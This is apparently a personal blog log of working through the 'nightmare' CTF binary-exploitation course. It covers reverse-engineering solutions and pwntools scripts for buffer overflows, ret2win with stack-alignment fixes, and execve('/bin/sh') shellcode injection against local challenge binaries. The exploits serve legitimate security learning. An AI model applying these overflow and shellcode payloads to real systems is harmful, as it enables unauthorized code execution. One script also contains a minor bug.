I’m going to start with nightmare, which I found on github and seems to be a intro binexp/rev course based on ctf challanges. There are about 90 challs taken from different ctfs, with accompanying writups. It also seems to be packed with anime references. Seems fun!
My goal is to have this done in a 5 days. There are 11 sections, so I’m going to aim for 2-3 sections per day. Is it possible? Who knows, I haven’t looked at how long each section actually is. I’ll try and keep a log of my progress as I go.
I know there are already writeups for all of these, as the writeups are part of nightmare, but I’m gonna try and do writeups too, cause why not. I’ll be using python3 instead of python2 like nighmare was written in. Also some of the original nightmare writeups are broken for various reasons, like libc version changes, movaps, etc, so I will point out when stuff from the original writups is broken, and how I fixed it.
So the intro was REALLY easy. I guess everyone has to start somewhere.
boris% ./strings
Have you ever used the 'strings' function? Check out the man pages!
This one was simple.
boris% strings strings | grep {
picoCTF{sTrIngS_sAVeS_Time_3f712a28}i
boris% objdump -D rev -M intel > out
Looking inside main we see a validate function which places a string of characters on the stack to compare with the input. Decoding the string gives us the flag.
1205: c7 45 c0 66 00 00 00 mov DWORD PTR [rbp-0x40],0x66
120c: c7 45 c4 6c 00 00 00 mov DWORD PTR [rbp-0x3c],0x6c
1213: c7 45 c8 61 00 00 00 mov DWORD PTR [rbp-0x38],0x61
121a: c7 45 cc 67 00 00 00 mov DWORD PTR [rbp-0x34],0x67
1221: c7 45 d0 7b 00 00 00 mov DWORD PTR [rbp-0x30],0x7b
1228: c7 45 d4 48 00 00 00 mov DWORD PTR [rbp-0x2c],0x48
122f: c7 45 d8 75 00 00 00 mov DWORD PTR [rbp-0x28],0x75
1236: c7 45 dc 43 00 00 00 mov DWORD PTR [rbp-0x24],0x43
123d: c7 45 e0 66 00 00 00 mov DWORD PTR [rbp-0x20],0x66
1244: c7 45 e4 5f 00 00 00 mov DWORD PTR [rbp-0x1c],0x5f
124b: c7 45 e8 6c 00 00 00 mov DWORD PTR [rbp-0x18],0x6c
1252: c7 45 ec 41 00 00 00 mov DWORD PTR [rbp-0x14],0x41
1259: c7 45 f0 62 00 00 00 mov DWORD PTR [rbp-0x10],0x62
1260: c7 45 f4 7d 00 00 00 mov DWORD PTR [rbp-0xc],0x7d
boris% echo -e "\x66\x6c\x61\x67\x7b\x48\x75\x43\x66\x5f\x6c\x41\x62\x7d"
flag{HuCf_lAb}
__isoc99_scanf(&DAT_00100a78,local_98);
sVar1 = strlen(local_98);
for (local_b0 = 0; local_b0 < sVar1; local_b0 = local_b0 + 1) {
lVar2 = FUN_001007fa(local_98[local_b0]);
if (lVar2 != *(long *)(&DAT_003014e0 + local_b0 * 8)) {
puts("Incorrect!");
/* WARNING: Subroutine does not return */
exit(1);
}
}
puts("Correct!");
The main function gets user input, and then runs each character through a function FUN_001007fa, then checks if the output is is equal to a characer in the same index of FUN_001007fa. But what does FUN_001007fa do?
local_10 = 0;
while ((local_10 != -1 && ((int)param_1 != *(int *)(&DAT_00301020 + local_10 * 4)))) {
if ((int)param_1 < *(int *)(&DAT_00301020 + local_10 * 4)) {
local_10 = local_10 * 2 + 1;
}
else if (*(int *)(&DAT_00301020 + local_10 * 4) < (int)param_1) {
local_10 = (local_10 + 1) * 2;
}
}
return local_10;
It takes a character, checks if its greater or less than a character in some array, and then depending on that it compares it to a different character, until it finds a character thats equal to it. Then it returns the index of that character. It does this using a binary tree. You can see this if you look at how the index changes based on the comparison. I guess thats why the challenge is called beleaf.
0
/ \
1 2
/ \ / \
3 4 5 6
You don’t have to realize that its a binary tree though. All you need to realize is that given a character, it returns the index of that character in the array. So to find the flag, take each value from the final array &DAT_003014e0 and find the character at that index in the first array &DAT_00301020.
For example, the first value of the final array is 0x01. So we check the 1st character of the other array and we get 66h, which is f. Note that the first array has its elements spaced out by 8, and the second one is spaced out by 4. So when I say the 1st element I really mean the 4th element (0 indexed).
flag{we_beleaf_in_your_re_future}
boris% checksec pwn1
[*] 'pwn1'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
from pwn import *
target = process('./pwn1')
payload = b"0"*43
payload += p32(0xDEA110C8)
target.sendline("Sir Lancelot of Camelot\nTo seek the Holy Grail.")
target.sendline(payload)
target.interactive()
This one was pretty self explanitory.
boris% checksec just_do_it
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
The only lines that matter are below.
FILE *local_18;
char *local_14;
local_18 = fopen("flag.txt","r");
pcVar1 = fgets(flag,0x30,local_18);
pcVar1 = fgets(local_28,0x20,stdin);
puts(local_14);
flag is a label for 0804a080. So we overwrite local_14 with the 0804a080, so that puts prints the flag.
from pwn import *
target = process('./just_do_it')
payload = b"A"*20
payload += p32(0x0804a080)
target.sendline(payload)
target.interactive()
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Ok, so this one looked really easy, like REALLY easy. And it ended up taking me a lot longer than I expected becuase of an issue with the challenge. Due to a difference in libc versions, my newer version of libc used movaps, which needs the stack to be aligned. So I needed to add a ret before the easy function to allign the stack. It took me a long time to figure that out, but hey, at least I learned something.
Anyways, this challange was a simple ret2win. The function named easy prints the flag, you just need to overwrite the return address with the address of easy.
from pwn import *
target = process('./warmup')
#gdb.attach(target, gdbscript = 'b *0x4006a3')
payload = b'0'*0x48
payload += p64(0x00400714) # address of a ret
payload += p64(0x40060d) #address of "easy"
# Send the payload
target.sendline(payload)
target.interactive()
Another ret2win. Same movaps issue, fixed with ret gadget.
from pwn import *
target = process('./get_it')
payload += b'0'*0x28
payload += p64(0x0040067c) #ret
payload += p64(0x004005b6) #give_shell
target.sendline(payload)
target.interactive()
This was a simple shellcode BOF. I had aslr turned on, but it leaked the memory address for us.
[*]Good Luck Pilot!....
[*]Location:0x7ffef06ed7f0
This was my first time writing shellcode instead of just copying it from shellstorm or using msfvenom. It’s about as basic as an execve(‘//bin/sh/’,0,0) shellcode can be. But it was a fun learning experiene nonetheless.
boris% cat shellcode.asm
global _start
section .text
_start:
xor rdx, rdx
xor rsi, rsi
mov rbx, 0x68732F6E69622F2F
push rax
push rbx
push rsp
pop rdi
mov al, 0x3b
syscall
;\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x53\x54\x5f\xb0\x3b\x0f\x05
from pwn import *
target = process('./pilot')
gdb.attach(target, gdbscript = 'b main')
target.recvuntil("[*]Location:")
leak = int(target.recvline()[:-1].decode('utf-8'),16)
print(leak)
# Make the payload
payload = b'\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x53\x54\x5f\xb0\x3b\x0f\x05'
payload += b'0'*(0x28-len(payload))
payload += p64(leak)
target.sendline(payload)
target.interactive()
Another basic shellcode with address leak. I had to try a couple of different shellcode variants before it worked, idk why.
from pwn import *
target = process('./pwn3')
#gdb.attach(target, gdbscript = 'b main')
target.recvuntil("journey ")
leak = int(target.recvline()[:-2].decode('utf-8'),16)
# Make the payload
payload = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
payload += b'0'*(0x12e-len(payload))
payload += p32(leak)
target.sendline(payload)
target.interactive()
This one was definetly easy. Same as all of the previous shellcode pwns but with a “stack canary” of deadbeef.
from pwn import *
target = process('./shella-easy')
#gdb.attach(target, gdbscript = 'b main')
target.recvuntil("I'll have a ")
leak = int(target.recvline()[:10].decode('utf-8'),16)
#print(target.recvline()[:9])
# Make the payload
payload = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
payload += b'0'*(0x40-len(payload))
payload += p32(0xDEADBEEF)
payload += b'0'*0x8
payload += p32(leak)
target.sendline(payload)
target.interactive()
Written: 2022-12-20 Last Updated: 2022-12-22